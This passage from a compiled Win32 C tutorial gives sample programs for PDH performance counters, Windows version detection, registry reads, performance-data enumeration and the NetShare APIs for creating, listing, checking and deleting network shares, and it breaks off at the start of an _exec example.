pdhResult = PdhOpenQuery(NULL, 0, &hQuery);

file:///C|/Tutorial.txt (766 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

if(pdhResult != ERROR_SUCCESS)
// Just return the error...
return pdhResult;
else
printf("PdhOpenQuery() is OK.\n");

// Create counter path


pe.szMachineName = szMachineName;
pe.szObjectName = TEXT("System");
pe.szInstanceName = NULL;
pe.szParentInstance = NULL;
pe.dwInstanceIndex = 1;
pe.szCounterName = TEXT("% Registry Quota In Use");

pdhResult = PdhMakeCounterPath(&pe, szCounterPath, &dwPathSize, 0);


if(pdhResult != ERROR_SUCCESS)
{
printf("PdhMakeCounterPath() is not OK.\n");
exit(1);
}
else
printf("PdhMakeCounterPath() is OK.\n");

// Add the counter to the query


pdhResult = PdhAddCounter(hQuery, szCounterPath, 0, &hCounter);
if(pdhResult != ERROR_SUCCESS)
// Here we just exit, better to retrieve and return the error code...
// same for the following...
exit(1);
else
printf("PdhAddCounter() is OK.\n");

// Run the query to collect the performance data


pdhResult = PdhCollectQueryData(hQuery);
if(pdhResult != ERROR_SUCCESS)
exit(1);
else
printf("PdhCollectQueryData() is OK.\n");

// Retrieve the raw counter data:


// The dividend (FirstValue) is the current registry size
// The divisor (SecondValue) is the maximum registry size
ZeroMemory(&pdhRawValues, sizeof(pdhRawValues));
pdhResult = PdhGetRawCounterValue(hCounter, &dwType, &pdhRawValues);
if(pdhResult != ERROR_SUCCESS)
exit (1);
else
printf("PdhGetRawCounterValue() is OK\n");

// Store the sizes in variables.


if(lpdwCurrentSize)
*lpdwCurrentSize = (DWORD) pdhRawValues.FirstValue;

if(lpdwMaximumSize)
*lpdwMaximumSize = (DWORD) pdhRawValues.SecondValue;

file:///C|/Tutorial.txt (767 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Close the query


PdhCloseQuery(hQuery);

return 0;
}

-----------------------------------------------------------------------------------------------------------

// #define _WIN32_WINNT 0x0502 // Windows Server 2003 family


// For Win Xp, change accordingly...
#define _WIN32_WINNT 0x0501
// #define _WIN32_WINNT 0x0500 // Windows 2000
// #define _WIN32_WINNT 0x0400 // Windows NT 4.0
// #define _WIN32_WINDOWS 0x0500 // Windows ME
// #define _WIN32_WINDOWS 0x0410 // Windows 98
// #define _WIN32_WINDOWS 0x0400 // Windows 95
#include <windows.h>
#include <stdio.h>

#define BUFSIZE 80

int main(int argc, char *argv[])


{
OSVERSIONINFOEX osver;
BOOL bOsVersionInfoEx;

// Try calling GetVersionEx() using the OSVERSIONINFOEX structure.


// If that fails, try using the OSVERSIONINFO structure.
ZeroMemory(&osver, sizeof(OSVERSIONINFOEX));
osver.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);

if(!(bOsVersionInfoEx = GetVersionEx((OSVERSIONINFO *) &osver)))


{
osver.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(!GetVersionEx((OSVERSIONINFO *) &osver))
return FALSE;
else
printf("Buffer for the structure size is OK.\n");
}
else
printf("GetVersionEx() is OK.\n");

switch (osver.dwPlatformId)
{
//Test for the Windows NT product family.
case VER_PLATFORM_WIN32_NT:

// Test for the specific product family.


if(osver.dwMajorVersion == 5 && osver.dwMinorVersion == 2)
printf("Microsoft Windows Server 2003 family, ");

if(osver.dwMajorVersion == 5 && osver.dwMinorVersion == 1)


printf("Microsoft Windows XP ");

if(osver.dwMajorVersion == 5 && osver.dwMinorVersion == 0)


printf("Microsoft Windows 2000 ");

file:///C|/Tutorial.txt (768 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

if(osver.dwMajorVersion <= 4)
printf("Microsoft Windows NT ");

// Test for specific product on Windows NT 4.0 SP6 and later.


if(bOsVersionInfoEx)
{
// Test for the workstation type.
if(osver.wProductType == VER_NT_WORKSTATION)
{
if(osver.dwMajorVersion == 4)
printf("Workstation 4.0 ");
else if(osver.wSuiteMask & VER_SUITE_PERSONAL)
printf("Home Edition ");
else
printf("Professional ");
}

// Test for the server type.


else if(osver.wProductType == VER_NT_SERVER || osver.wProductType ==
VER_NT_DOMAIN_CONTROLLER)
{
if((osver.dwMajorVersion == 5) && (osver.dwMinorVersion == 2))
{
if(osver.wSuiteMask & VER_SUITE_DATACENTER)
printf("Datacenter Edition ");
else if(osver.wSuiteMask & VER_SUITE_ENTERPRISE)
printf("Enterprise Edition ");
else if(osver.wSuiteMask == VER_SUITE_BLADE)
printf("Web Edition ");
else
printf("Standard Edition ");
}

else if((osver.dwMajorVersion == 5) && (osver.dwMinorVersion == 0))


{
if(osver.wSuiteMask & VER_SUITE_DATACENTER)
printf("Datacenter Server ");
else if(osver.wSuiteMask & VER_SUITE_ENTERPRISE)
printf("Advanced Server ");
else
printf("Server ");
}
// Windows NT 4.0
else
{
if(osver.wSuiteMask & VER_SUITE_ENTERPRISE)
printf("Server 4.0, Enterprise Edition ");
else
printf("Server 4.0 ");
}
}
}
// Test for specific product on Windows NT 4.0 SP5 and earlier
else
{

file:///C|/Tutorial.txt (769 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

HKEY hKey;
char szProductType[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Control\\ProductOptions",
0, KEY_QUERY_VALUE, &hKey);
if(lRet != ERROR_SUCCESS)
return FALSE;
else
printf("RegOpenKeyEx() is OK.\n");

lRet = RegQueryValueEx(hKey, "ProductType", NULL, NULL,


(LPBYTE)szProductType, &dwBufLen);
if((lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE))
return FALSE;
else
printf("RegQueryValueEx() is OK.\n");

RegCloseKey(hKey);

if(lstrcmpi("WINNT", szProductType) == 0)
printf("Workstation ");
if(lstrcmpi("LANMANNT", szProductType) == 0)
printf("Server ");
if(lstrcmpi("SERVERNT", szProductType) == 0)
printf("Advanced Server ");

printf("%d.%d ", osver.dwMajorVersion, osver.dwMinorVersion);


}

// Display service pack (if any) and build number.


if(osver.dwMajorVersion == 4 && lstrcmpi(osver.szCSDVersion, "Service Pack 6")
== 0)
{
HKEY hKey;
LONG lRet;

// Test for SP6 versus SP6a.


lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows
NT\\CurrentVersion\\Hotfix\\Q246009",
0, KEY_QUERY_VALUE, &hKey);
if(lRet == ERROR_SUCCESS)
{
printf("RegOpenKeyEx() is OK.\n");
printf("Service Pack 6a (Build %d)\n", osver.dwBuildNumber & 0xFFFF);
}
// Windows NT 4.0 prior to SP6a
else
{
printf("%s (Build %d)\n", osver.szCSDVersion, osver.dwBuildNumber &
0xFFFF);
}

RegCloseKey(hKey);

file:///C|/Tutorial.txt (770 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

}
// Windows NT 3.51 and earlier or Windows 2000 and later
else
{
printf("%s (Build %d)\n", osver.szCSDVersion, osver.dwBuildNumber & 0xFFFF);
}
break;

// Test for the Windows 95 product family.


case VER_PLATFORM_WIN32_WINDOWS:

if(osver.dwMajorVersion == 4 && osver.dwMinorVersion == 0)


{
printf("Microsoft Windows 95 ");
if(osver.szCSDVersion[1] == 'C' || osver.szCSDVersion[1] == 'B')
printf("OSR2 ");
}

if(osver.dwMajorVersion == 4 && osver.dwMinorVersion == 10)


{
printf("Microsoft Windows 98 ");
if(osver.szCSDVersion[1] == 'A')
printf("SE ");
}

if((osver.dwMajorVersion == 4) && (osver.dwMinorVersion == 90))


{
printf("Microsoft Windows Millennium Edition\n");
}
break;

case VER_PLATFORM_WIN32s:

printf("Microsoft Win32s\n");
break;
}
return TRUE;
}

-----------------------------------------------------------------------------------------------------------

// #define _WIN32_WINNT 0x0502 // Windows Server 2003 family


// For Win Xp, change accordingly...
#define _WIN32_WINNT 0x0501
// #define _WIN32_WINNT 0x0500 // Windows 2000
// #define _WIN32_WINNT 0x0400 // Windows NT 4.0
// #define _WIN32_WINDOWS 0x0500 // Windows ME
// #define _WIN32_WINDOWS 0x0410 // Windows 98
// #define _WIN32_WINDOWS 0x0400 // Windows 95
#include <windows.h>
#include <stdio.h>
// Change accordingly...
#define POLICY_KEY TEXT("Software\\Policies\\Microsoft\\Windows\\Explorer")
#define PREFERENCE_KEY TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer")

DWORD ReadValue(LPTSTR lpValueName, DWORD dwDefault)

file:///C|/Tutorial.txt (771 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
HKEY hKey;
LONG lResult;
DWORD dwValue, dwType, dwSize = sizeof(dwValue);

// First, check for a policy.


lResult = RegOpenKeyEx(HKEY_CURRENT_USER, POLICY_KEY, 0, KEY_READ, &hKey);
if(lResult == ERROR_SUCCESS)
{
lResult = RegQueryValueEx(hKey, lpValueName, 0, &dwType, (LPBYTE)&dwValue, &dwSize);
RegCloseKey(hKey);
}

// Exit if a policy value was found.


if(lResult == ERROR_SUCCESS)
{
// return the data value
return dwValue;
}
else
printf("Policy: value not found!\n");

// Second, check for a preference.


lResult = RegOpenKeyEx(HKEY_CURRENT_USER, PREFERENCE_KEY, 0, KEY_READ, &hKey);
if(lResult == ERROR_SUCCESS)
{
lResult = RegQueryValueEx(hKey, lpValueName, 0, &dwType, (LPBYTE)&dwValue, &dwSize);
RegCloseKey (hKey);
}

// Exit if a preference was found.


if(lResult == ERROR_SUCCESS)
{
// Return the data value
return dwValue;
}
else
printf("Preference: value not found!\n");

// Neither a policy nor a preference was found; return the default value.
return dwDefault;
}

int main()
{
LPTSTR lpValueName = "Browse For Folder Height";
DWORD dwDefault = 0x00000000;
DWORD ret = ReadValue(lpValueName, dwDefault);
printf("The value data for the \'%s\' value name is 0X%.8X(%d).\n", lpValueName, ret, ret);

return 0;
}

-------------------------------------------------------------------------------------------------------------

// #define _WIN32_WINNT 0x0502 // Windows Server 2003 family

file:///C|/Tutorial.txt (772 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// For Win Xp, change accordingly...


#define _WIN32_WINNT 0x0501
// #define _WIN32_WINNT 0x0500 // Windows 2000

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
#include <string.h>

#define TOTALBYTES 20000


#define BYTEINCREMENT 2048

LPSTR lpNameStrings;
LPSTR *lpNamesArray;

// Functions used to navigate through the performance data.


PPERF_OBJECT_TYPE FirstObject(PPERF_DATA_BLOCK PerfData)
{
return((PPERF_OBJECT_TYPE)((PBYTE)PerfData + PerfData->HeaderLength));
}

PPERF_OBJECT_TYPE NextObject(PPERF_OBJECT_TYPE PerfObj)


{
return((PPERF_OBJECT_TYPE)((PBYTE)PerfObj + PerfObj->TotalByteLength));
}

PPERF_INSTANCE_DEFINITION FirstInstance(PPERF_OBJECT_TYPE PerfObj)


{
return((PPERF_INSTANCE_DEFINITION)((PBYTE)PerfObj + PerfObj->DefinitionLength));
}

PPERF_INSTANCE_DEFINITION NextInstance(PPERF_INSTANCE_DEFINITION PerfInst)


{
PPERF_COUNTER_BLOCK PerfCntrBlk;

PerfCntrBlk = (PPERF_COUNTER_BLOCK)((PBYTE)PerfInst + PerfInst->ByteLength);

return((PPERF_INSTANCE_DEFINITION)((PBYTE)PerfCntrBlk + PerfCntrBlk->ByteLength));
}

PPERF_COUNTER_DEFINITION FirstCounter(PPERF_OBJECT_TYPE PerfObj)


{
return((PPERF_COUNTER_DEFINITION) ((PBYTE)PerfObj + PerfObj->HeaderLength));
}

PPERF_COUNTER_DEFINITION NextCounter(PPERF_COUNTER_DEFINITION PerfCntr)


{
return((PPERF_COUNTER_DEFINITION)((PBYTE)PerfCntr + PerfCntr->ByteLength));
}

// Load the counter and object names from the registry to the
// global variable lpNamesArray.
BOOL GetNameStrings()
{
HKEY hKeyPerflib; // handle to registry key

file:///C|/Tutorial.txt (773 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

HKEY hKeyPerflib009; // handle to registry key


DWORD dwMaxValueLen; // maximum size of key values
DWORD dwBuffer; // bytes to allocate for buffers
DWORD dwBufferSize; // size of dwBuffer
LPSTR lpCurrentString; // pointer for enumerating data strings
DWORD dwCounter; // current counter index

// Get the number of Counter items.


if(RegOpenKeyEx(
HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib",
0,
KEY_READ,
&hKeyPerflib) != ERROR_SUCCESS)
return FALSE;
else
printf("RegOpenKeyEx() is OK.\n");

dwBufferSize = sizeof(dwBuffer);

if(RegQueryValueEx(
hKeyPerflib,
"Last Counter",
NULL,
NULL,
(LPBYTE) &dwBuffer,
&dwBufferSize) != ERROR_SUCCESS)
return FALSE;
else
printf("RegQueryValueEx() is OK.\n");

RegCloseKey(hKeyPerflib);

// Allocate memory for the names array.


lpNamesArray = (LPTSTR *)malloc((dwBuffer+1) * sizeof(LPSTR));

if(lpNamesArray == NULL)
return FALSE;

// Open the key containing the counter and object names.


if(RegOpenKeyEx(
HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Perflib\\009",
0,
KEY_READ,
&hKeyPerflib009) != ERROR_SUCCESS)
return FALSE;
else
printf("RegOpenKeyEx() is OK.\n");

// Get the size of the largest value in the key (Counter or Help).
if(RegQueryInfoKey(
hKeyPerflib009,
NULL,
NULL,
NULL,

file:///C|/Tutorial.txt (774 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

NULL,
NULL,
NULL,
NULL,
NULL,
&dwMaxValueLen,
NULL,
NULL) != ERROR_SUCCESS
)
return FALSE;
else
printf("RegQueryInfoKey() is OK.\n");

// Allocate memory for the counter and object names.


dwBuffer = dwMaxValueLen + 1;

lpNameStrings = (LPTSTR)malloc(dwBuffer * sizeof(CHAR));

if(lpNameStrings == NULL)
{
free(lpNamesArray);
return FALSE;
}
else
printf("Memory allocated for lpNameStrings.\n");

// Read the Counter value.


if(RegQueryValueEx(
hKeyPerflib009,
"Counter",
NULL,
NULL,
(LPBYTE)lpNameStrings,
&dwBuffer) != ERROR_SUCCESS)
return FALSE;
else
printf("RegQueryValueEx() is OK.\n");

printf("Please wait...\n");

// Load names into an array, by index.


for(lpCurrentString = lpNameStrings; *lpCurrentString;
lpCurrentString += (lstrlen(lpCurrentString)+1))
{
dwCounter = atol(lpCurrentString);
lpCurrentString += (lstrlen(lpCurrentString)+1);
lpNamesArray[dwCounter] = (LPSTR)lpCurrentString;
}

return TRUE;
}

// Display the indexes and/or names for all performance


// objects, instances, and counters.
int main()
{

file:///C|/Tutorial.txt (775 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

PPERF_DATA_BLOCK PerfData = NULL;


PPERF_OBJECT_TYPE PerfObj;
PPERF_INSTANCE_DEFINITION PerfInst;
PPERF_COUNTER_DEFINITION PerfCntr, CurCntr;
PPERF_COUNTER_BLOCK PtrToCntr;
DWORD BufferSize = TOTALBYTES;
DWORD i, j;
LONG k;

// Get the name strings through the registry.


if(!GetNameStrings())
return FALSE;

// Allocate the buffer for the performance data.


PerfData = (PPERF_DATA_BLOCK) malloc(BufferSize);

if(PerfData == NULL)
return FALSE;

while(RegQueryValueEx(
HKEY_PERFORMANCE_DATA,
"Global",
NULL,
NULL,
(LPBYTE) PerfData,
&BufferSize) == ERROR_MORE_DATA)
{
// Get a buffer that is big enough.
BufferSize += BYTEINCREMENT;
PerfData = (PPERF_DATA_BLOCK) realloc(PerfData, BufferSize);
}

// Get the first object type.


PerfObj = FirstObject(PerfData);

// Process all objects.


for(i=0; i < PerfData->NumObjectTypes; i++)
{
// Display the object by index and name.
printf("\nObject %ld: %s\n", PerfObj->ObjectNameTitleIndex,
lpNamesArray[PerfObj->ObjectNameTitleIndex]);

// Get the first counter.


PerfCntr = FirstCounter(PerfObj);

if(PerfObj->NumInstances > 0)
{
// Get the first instance.
PerfInst = FirstInstance(PerfObj);

// Retrieve all instances.


for(k=0; k < PerfObj->NumInstances; k++)
{
// Display the instance by name.
printf("\n\tInstance %S: \n", (char *)((PBYTE)PerfInst + PerfInst->NameOffset));
CurCntr = PerfCntr;

file:///C|/Tutorial.txt (776 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Retrieve all counters.


for(j=0; j < PerfObj->NumCounters; j++)
{
// Display the counter by index and name.
printf("\t\tCounter %ld: %s\n", CurCntr->CounterNameTitleIndex,
lpNamesArray[CurCntr->CounterNameTitleIndex]);

// Get the next counter.


CurCntr = NextCounter(CurCntr);
}

// Get the next instance.


PerfInst = NextInstance(PerfInst);
}
}
else
{
// Get the counter block.
PtrToCntr = (PPERF_COUNTER_BLOCK)((PBYTE)PerfObj + PerfObj->DefinitionLength);

// Retrieve all counters.


for(j=0; j < PerfObj->NumCounters; j++)
{
// Display the counter by index and name.
printf("\tCounter %ld: %s\n", PerfCntr->CounterNameTitleIndex,
lpNamesArray[PerfCntr->CounterNameTitleIndex]);

// Get the next counter.


PerfCntr = NextCounter(PerfCntr);
}
}

// Get the next object type.


PerfObj = NextObject(PerfObj);
}

// Release all the memory back to system...


free(lpNamesArray);
free(lpNameStrings);
free(PerfData);

return TRUE;
}

==============================ModuleQ=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |

file:///C|/Tutorial.txt (777 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

| Distributed through http://www.tenouk.com |


| |
| |
===========================================================================

Compiled using VC++/VC++ .Net.....unmanaged...

// Don't forget to add netapi32.lib


// The return value of share functions code can be found in
// Network Management Error Codes in MSDN

// For Win Xp Pro, adjust accordingly for other Windows version


#define _WIN32_WINNT 0x0501
#define UNICODE
#include <windows.h>
#include <stdio.h>
#include <lm.h>

// Unicode main()...
int wmain(int argc, TCHAR *argv[ ])
{
NET_API_STATUS res;
SHARE_INFO_2 p;
DWORD parm_err = 0;

// Some prompt...
if(argc < 5)
printf("Usage: %ls <server_name> <share_name> <share_remark> <share_pass>\n", argv[0]);
else
{
// Fill in the SHARE_INFO_2 structure.
p.shi2_netname = LPWSTR(argv[2]);
p.shi2_type = STYPE_DISKTREE; // disk drive including the directory...
p.shi2_remark = LPWSTR(argv[3]); // share remark
p.shi2_permissions = ACCESS_ALL; // all permission
p.shi2_max_uses = -1; // unlimited
p.shi2_current_uses = 0; // no current uses
// Try finding a way to accept the share path through the command line...
p.shi2_path = TEXT("F:\\myfolder"); // share path, here we want to share a folder
p.shi2_passwd = argv[4]; // password

// Call the NetShareAdd function, specifying level 2.


res = NetShareAdd(argv[1], 2, (LPBYTE) &p, &parm_err);

// If the call succeeds, inform the user.


if(res==0)
printf("%ls share created successfully.\n", p.shi2_netname);

// Otherwise, print an error, and identify the parameter in error.


else
printf("Failed to create %ls, error: %u parmerr = %u\n", p.shi2_netname, res, parm_err);
}
return 0;
}

-------------------------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (778 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// add the netapi32.lib...


// The return value of share functions code can be found in
// Network Management Error Codes in MSDN
// For Win Xp Pro, adjust accordingly for other Windows version
#define _WIN32_WINNT 0x0501
#define UNICODE
#include <windows.h>
#include <stdio.h>
#include <lm.h>

// accept 3 arguments...
int wmain(int argc, TCHAR *argv[])
{
SHARE_INFO_1004 p;
NET_API_STATUS res;
DWORD parm_err = 0;

if(argc < 4)
printf("Usage: %ls <server_name> <share_name> <share \"remark\">\n", argv[0]);
else
{
// Fill in SHARE_INFO_1004 structure member.
p.shi1004_remark = argv[3];

// Call the NetShareSetInfo function, specifying information level 1004.


res = NetShareSetInfo(argv[1], argv[2], 1004, (LPBYTE)&p, &parm_err);

// Display the result of the call.


if(res == 0)
printf("Remark for the %ls share successfully set.\n", argv[2]);
else
printf("Cannot set the \"remark\", error: %u parmerr = %u\n", res, parm_err);
}
return 0;
}

-------------------------------------------------------------------------------------------------------------

// add the netapi32.lib...


// The return value of share functions code can be found in
// Network Management Error Codes in MSDN
// For Win Xp Pro, adjust accordingly for other Windows version
#define _WIN32_WINNT 0x0501
#define UNICODE
#include <windows.h>
#include <stdio.h>
#include <lm.h>

int wmain(int argc, TCHAR *argv[])


{
NET_API_STATUS res;
DWORD devType = 0;

if(argc < 3)
printf("Usage: %ls <server_name> <device_name>\n", argv[0]);

file:///C|/Tutorial.txt (779 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
{
// Call the NetShareCheck() function.
res = NetShareCheck(argv[1], _wcsupr(argv[2]), &devType);

// If the function succeeds, inform the user.


if(res == 0)
switch(devType)
{
case 0 : printf("Device is shared as type STYPE_DISKTREE - disk drive/folder.");
break;
case 1 : printf("Device is shared as type STYPE_PRINTQ - Print queue.");
break;
case 2 : printf("Device is shared as type STYPE_DEVICE - Communication device.");
break;
case 3 : printf("Device is shared as type STYPE_IPC - Interprocess communication (IPC).");
break;
case 4 : printf("Device is shared as type STYPE_SPECIAL - Special share reserved \
for interprocess communication (IPC$) or \
remote administration of the server (ADMIN$). \
Can also refer to administrative shares such as C$, D$, E$, and so forth.");
break;
case 5 : printf("Device is shared as type STYPE_TEMPORARY - A temporary share.");
break;
}

// Otherwise, print the return error code.


else
printf("Something wrong, error: %u\n", res);
}
return 0;
}

-------------------------------------------------------------------------------------------------------------

// add the netapi32.lib...


// Network Management Error Codes, Platform SDK: Network Management
// For Win Xp Pro, adjust accordingly for other Windows version
#define _WIN32_WINNT 0x0501
#define UNICODE
#include <windows.h>
#include <stdio.h>
#include <lm.h>

int wmain( int argc, TCHAR *lpszArgv[ ])


{
PSHARE_INFO_502 BufPtr, pth;
NET_API_STATUS res;
LPTSTR lpszServer = NULL;
DWORD er = 0, tr = 0, resume = 0, i;

if(argc != 2)
{
printf("Usage: %ls <server_name>\n", lpszArgv[0]);
exit (1);
}

file:///C|/Tutorial.txt (780 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
lpszServer = lpszArgv[1];

// Print a report header.


printf("\nShare Local Path Uses Sec. Descriptor\n");
printf("----------------------------------------------------------------\n");

// Call the NetShareEnum function; specify level 502.


do // begin do
{
res = NetShareEnum(lpszServer, 502, (LPBYTE *)&BufPtr, -1, &er, &tr, &resume);

// If the call succeeds,


if(res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
{
pth = BufPtr;
// Loop through the entries, print the retrieved data.
for(i=1; i<=er; i++)
{
printf("%-16S%-26S%-8u",pth->shi502_netname, pth->shi502_path, pth->shi502_current_uses);
// Validate the value of the shi502_security_descriptor member.
if (IsValidSecurityDescriptor(pth->shi502_security_descriptor))
printf("Yes\n");
else
printf("No\n");
pth++;
}

// Free the allocated buffer.


NetApiBufferFree(BufPtr);
}
else
printf("Something wrong, error: %ld\n", res);
}
// Continue to call NetShareEnum() while there are more entries.
while (res == ERROR_MORE_DATA); // end do
return 0;
}

-------------------------------------------------------------------------------------------------------------

// add the netapi32.lib...


// Network Management Error Codes, Platform SDK: Network Management
// For Win Xp Pro, adjust accordingly for other Windows version
#define _WIN32_WINNT 0x0501
#define UNICODE
#include <windows.h>
#include <stdio.h>
#include <lm.h>

int wmain(int argc, TCHAR *argv[ ])


{
NET_API_STATUS res;

if(argc != 3)
printf("Usage: %ls <server_name> <share_name>\n", argv[0]);

file:///C|/Tutorial.txt (781 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
{
// Call the NetShareDel() function to delete the share.
res = NetShareDel(argv[1], argv[2], 0);

//Display the result of the call.


if(res == 0)
printf("%ls share successfully removed.\n", argv[2]);
else
printf("Something wrong, error: %u\n", res);
}
return 0;
}

-----------------------------------------------------------------------------------------------------------------

// This example run on member server creating share on the


// domain controller (DC)...
// Don’t forget to add netapi32.lib to your project…
// The return value of share functions code can be found in
// Network Management Error Codes in MSDN…
// For Win 2000 server, adjust accordingly for other Windows version
#define _WIN32_WINNT 0x0500
#define UNICODE
#include <windows.h>
#include <stdio.h>
#include <lm.h>

// Unicode main()...
int wmain(int argc, TCHAR *argv[ ])
{
NET_API_STATUS res;
SHARE_INFO_2 p;
DWORD parm_err = 0;

// Some prompt...
if(argc != 4)
printf("Usage: %ls <server_name> <share_name> <share_remark>\n", argv[0]);
else
{
// Fill in the SHARE_INFO_2 structure.
p.shi2_netname = LPWSTR(argv[2]);
p.shi2_type = STYPE_DISKTREE; // disk drive including the directory...
p.shi2_remark = LPWSTR(argv[3]); // share remark
p.shi2_permissions = ACCESS_ALL; // all permission
p.shi2_max_uses = -1; // unlimited
p.shi2_current_uses = 0; // no current uses
// Try finding a way to accept the share path through the command line...
p.shi2_path = TEXT("E:\\Domainshare"); // share path, here we want to share a folder
p.shi2_passwd = NULL; // no password

// Call the NetShareAdd() function, specifying level 2.


res = NetShareAdd(argv[1], 2, (LPBYTE) &p, &parm_err);

// If the call succeeds, inform the user.


if(res==0)

file:///C|/Tutorial.txt (782 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("%ls share created successfully.\n", p.shi2_netname);

// Otherwise, print an error, and identify the parameter in error.


else
printf("Failed to create %ls, error: %u parmerr = %u\n", p.shi2_netname, res, parm_err);
}
return 0;
}

-------------------------------------------------------------------------------------------------------------

// add the netapi32.lib...


// The return value of share functions code can be found in
// Network Management Error Codes in MSDN
// For Win 2000 server, adjust accordingly for other Windows version
#define _WIN32_WINNT 0x0500
#define UNICODE
#include <windows.h>
#include <stdio.h>
#include <lm.h>

int wmain(int argc, TCHAR *lpszArgv[ ])


{
PSHARE_INFO_502 BufPtr, pth;
NET_API_STATUS res;
LPTSTR lpszServer = NULL;
DWORD er = 0, tr = 0, resume = 0, i;

if(argc != 2)
{
printf("Usage: %ls <server_name>\n", lpszArgv[0]);
exit (1);
}
else
lpszServer = lpszArgv[1];

// Print a report...
printf("\nShare Local Path Uses Sec. Descriptor\n");
printf("------------------------------------------------------------------------------------\n");

// Call the NetShareEnum() function; specifying level 502.


do // begin do
{
res = NetShareEnum(lpszServer, 502, (LPBYTE *)&BufPtr, -1, &er, &tr, &resume);

// If the call succeeds...


if(res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
{
pth = BufPtr;
// Loop through the entries, print the retrieved data.
for(i=1; i<=er; i++)
{
printf("%-16S%-44S%-8u",pth->shi502_netname, pth->shi502_path, pth->shi502_current_uses);
// Validate the value of the shi502_security_descriptor member.
if (IsValidSecurityDescriptor(pth->shi502_security_descriptor))
printf("Yes\n");

file:///C|/Tutorial.txt (783 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
printf("No\n");
pth++;
}

// Free the allocated buffer.


NetApiBufferFree(BufPtr);
}
else
printf("Something wrong, error: %ld\n", res);
}
// Continue to call NetShareEnum() while there are more entries.
while (res == ERROR_MORE_DATA); // end do
return 0;
}

============================MODULER========================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}

file:///C|/Tutorial.txt (784 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================

// File name: crtprocesssrc.cpp Project name: crtprocess, generating crtprocess.exe


/* Illustrates the following variables used for accessing
* command-line arguments and environment variables:
* argc argv envp
* This program will be executed by crtexecprog.exe which follows. */

#include <stdio.h>

int main(int argc, /* Number of strings in array argv */


char *argv[], /* Array of command-line argument strings */
char **envp) /* Array of environment variable strings */
{
int count;

/* Display each command-line argument. */


printf("\nCommand-line arguments:\n");
for (count = 0; count < argc; count++)
printf(" argv[%d] %s.\n", count, argv[count]);

/* Display each environment variable. */


printf("\nEnvironment variables:\n");
while (*envp != NULL)
printf(" %s.\n", *(envp++));

return 0;
}

-------------------------------------------------------------------------------------------------

// Project name: crtexecprog, file name: crtexecsrc.cpp generating crtexecprog.exe


// Run the following program at command prompt to exec crtprocess.exe.
/* Illustrates the different versions of exec, including
* _execl _execle _execlp _execlpe
* _execv _execve _execvp _execvpe
*
* Although crtexecsrc.cpp can exec any program, you can verify how
* the different versions handle arguments and environment by
* compiling and specifying the sample program crtprocess.cpp. See
* "_spawn, _wspawn Functions" for examples of the similar spawn
* functions. */

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <process.h>

file:///C|/Tutorial.txt (785 of 916)10/27/2010 10:58:31 AM


